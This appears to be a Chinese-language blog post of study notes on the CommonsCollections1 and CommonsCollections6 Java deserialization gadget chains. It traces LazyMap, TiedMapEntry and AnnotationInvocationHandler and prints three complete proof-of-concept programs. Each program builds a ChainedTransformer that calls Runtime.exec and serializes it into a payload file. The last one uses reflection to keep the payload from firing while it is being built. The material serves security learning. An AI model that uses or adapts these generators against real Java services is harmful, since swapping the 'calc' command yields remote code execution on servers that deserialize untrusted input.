CC链学习-cc6

前言

因为cc1不能解决高版本(8u71)利用问题,因此就需要在代码中找还有哪里调用了LazyMap.get方法。
TiedMapEntry.hashcode方法中调用了自己的getValue方法,getValue方法中又调用了map.get方法

分析

先来看一下另一个版本的cc1

跟踪Chaintransform中的transform方法

image-20240308162112793

结果找到了三个map

image-20240308162212723

这次我们进LazyMap

image-20240308162622726

发现Lazymap中的get方法利用到了factory.transform(),我们去看看factory的利用

image-20240308162738676

就一个Transformer,触发factory需要过一个判断,判断的话map里没有key就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

后面想找一下用法,发现好多种,直接照着链子了我们找AnnotationInvocationHandler.invoke()

其中的get方法

image-20240308163625827

往上看看到invoke(),只要外面有方法调用,就会调用invoke

image-20240308163414889

查找用法,找到上层调用

来到代理类,借用代理类动态加载redObject

解释:在LazyMap中的get方法中需要触发Transform,就需要借用到factory.transform(),但这个参数是否可控呢?很显然他是受保护的,只有自身或者继承才能使用,我们不能通过构造函数传参。但其有一个decorate()方法,其参数2为Transformer类型。

但要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码,而该POC的关键依赖于调用lazyMap.get()方法,而这完全不可控。

因此就需要寻找一个特定的可序列化类,该类重写了readObject( )方法,并且在readObject( )中调用了lazyMap的get()方法。需要注意的是,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。

Ysoserial CC1链中利用的还是在上篇文章中分析过的AnnotationInvocationHandler类,该类重写了readObject( )方法,但其并没有明确的调用get()方法,此时就使用到了动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = Collections.unmodifiableMap(LazyMap.decorate(map, chainedTransformer));

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h =(InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap);
Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o=annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}



后续官方更新了JDK版本,自8u711版本后,cc1便无法实现,但后续大佬们有着了新的实现方法。。。

image-20240308202930068

cc6

拓扑图

image-20240308203737264

直接说点不一样的吧,TiedMapEntry.hashcode方法中调用了自己的getValue方法,getValue方法中又调用了map.get方法。

image-20240308204024475

在TiedMapEntry类里

image-20240308204619338

image-20240308204806583

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class TiedMapEntry implements Entry, KeyValue, Serializable {

private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

//构造函数,显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

//hashCode函数,注意这里调用了 getValue()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}

}

很显然,可控制的map和key后面get触发到lazymap.get向上找hashcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = Collections.unmodifiableMap(LazyMap.decorate(map, chainedTransformer));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazydMap,"aaa");
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialize(map2);

}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}



初步的payload,发先在序列化阶段就执行了命令

执行map2.put的时候会调用hashMap的put方法也会执行 putVal,这样就把咱们的流程走完了,所以我们现在要做的就是不让他执行这个put方法。执行这个put方法其实是一定的,这里我们不能组织,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要时不让他正确执行然后我们后面再把这个地方修改为正确就好。

所以我们可以修改

1
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

改为

1
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

然后我们怎么把这个改回去呢,我们可以看看LazyMap.decorate

1
2
3
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

第二个参数是调用了factory,跟进一下

1
protected final Transformer factory;

是一个protected,所以我们只能通过反射修改他的值

1
2
3
4
5
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.jndi.url.corbaname.corbanameURLContextFactory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Transformer[] transformers;
transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazydMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazydMap,"a");

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazydMap.remove("a");


Class<LazyMap> c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazydMap,chainedTransformer);

serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}